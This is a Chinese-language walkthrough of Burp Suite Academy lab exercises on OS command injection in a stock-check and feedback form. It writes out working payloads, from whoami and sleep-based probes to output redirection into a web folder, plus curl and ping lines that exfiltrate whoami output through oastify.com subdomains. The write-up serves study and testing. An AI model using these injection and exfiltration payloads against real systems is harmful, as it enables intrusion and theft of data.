burp靶场命令注入学习
1、简单的命令注入(有回显)

发现该功能为检查商品库存功能,我们进行抓包分析该功能点

我们看到它是通过参数productID和storeID来定位商品的,然后呢,后端是怎么执行查询功能的呢?
就是开发将查询功能做成了一个脚本
./stockreport.sh 1 1
从上面来看,我们再试想一下,如果这个应用程序并没有检查参数的值是否合规,就将其很简单的拼接到脚本的参数中,会不会发生类似Sql注入的情况呢,于是我们做出了这样的尝试,我们将参数productID的值替换成下面这个
& echo 123 &
然后我们看一下拼接以后是什么样子
./stockreport.sh & echo 123 & 1
我们拿到linux中本地尝试运行一下

我们尝试添加一个&,在bash中,将命令串联起来,并且尝试运行whoami

发现后端报错了,很有可能是我在此处运行了whoami命令,后端接受了其他变量,导致破坏了后端命令结构
这里我们可以添加#来注释后面其余的命令

可以看到,成功获取到了服务器的用户名

获取了源码发现后端在bash命令使用了eval执行操作系统命令,接收两个用户的输入,并且没有任何的过滤操作,从而造成了命令注入
那么这里试想后端直接执行这个脚本,接受两个参数,直接在bash里面运行该脚本
./stockreport.sh 1 2
我们可以在本地进行尝试

我们也可以在第二个参数进行拼接




2、带有时间延迟的盲目操作系统命令注入
来到Submit feedback页面,这是一个给网站提交反馈的页面。因为要向起管理员提交用户反馈,因此很可能使用了mail命令发送邮件给管理员。使用该命令向管理员邮箱发送反馈用户的名字,邮箱以及反馈信息等。也正因为是往管理员发送邮件,因此可能网站本身不会有回显。


我们试想后端会执行这样的命令
mail -s "test" -aFrom:test@qq.com admin@admin.com
然后test@qq.com是我们用户可以控制的,那么这里这个email字段就会存在注入,如果我们插入一下payload
& ping -c www.baidu.com &
那么拼接在命令行中就会变成
mail -s "test" -aFrom:test@qq.com& whoami & admin@admin.com

提交反馈,进行抓包

我们现在不知道哪个字段存在命令注入,因此,我们可以通过sleep来判断
test & sleep 5 #

发现并没有延迟5秒钟,这说明name字段并不存在命令注入
经过测试发现,该命令注入存在于email字段
& sleep 5 #

这里还可以使用其他拼接符进行测试
;sleep 5;
||sleep 5||


3、带输出重定向的盲目操作系统命令注入

该靶场存在一个可写的文件夹:/var/www/images
执行whoami命令,将其结果重定向输出到这个文件夹下面,然后检索其内容
来到提交反馈页面
正常填写数据,抓取数据包

先正常测试,看看是否存在命令注入,在email字段插入payload
;sleep+5;
&sleep+5&


在email字段输入payload
;whoami>/var/www/images/user.txt;
将whoami的值写入到/var/www/images/user.txt文件中

利用文件读取功能,读取user.txt的内容,成功得到用户名

4、盲目操作系统命令注入与带外交互

仍然是盲注,但是这次是异步执行命令,所以通过延时就无法感知命令注入是否成功了,这里通过发起 DNS 查询来感知命令注入的结果
一样的,来到反馈页面,填写数据抓包
在email字段探测命令注入是否存在
;sleep 5;
&sleep 5&

发现这里使用sleep行不通了,那么只能使用dnslog了
;ping -c 4 w52pfr8ocjrvltgdk3c2gitqkhq8ey2n.oastify.com;


回到 Burp 中的 Collaborator,可以看到已经触发了 DNS 解析
并且我们使用curl命令也是可以的
;curl http://547ye07xbsq4k2fmjcbbfrszjqphd81x.oastify.com;


5、盲目操作系统命令注入与带外数据过滤

这道题需要将whoami的数据通过dnslog携带出来
1.可以通过子域名的形式携带出数据
$(whoami).7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com
在email字段插入payload
;ping+-c+4+$(whoami).7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com;


成功将用户名携带出来
2.通过反引号形式携带数据,反引号在shell中会被当做命令执行
`whoami`.7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com


并且使用curl命令也是可以的
curl http://`whoami`.7lt0v2ozsu7614wo0esdwt910s6jubi0.oastify.com

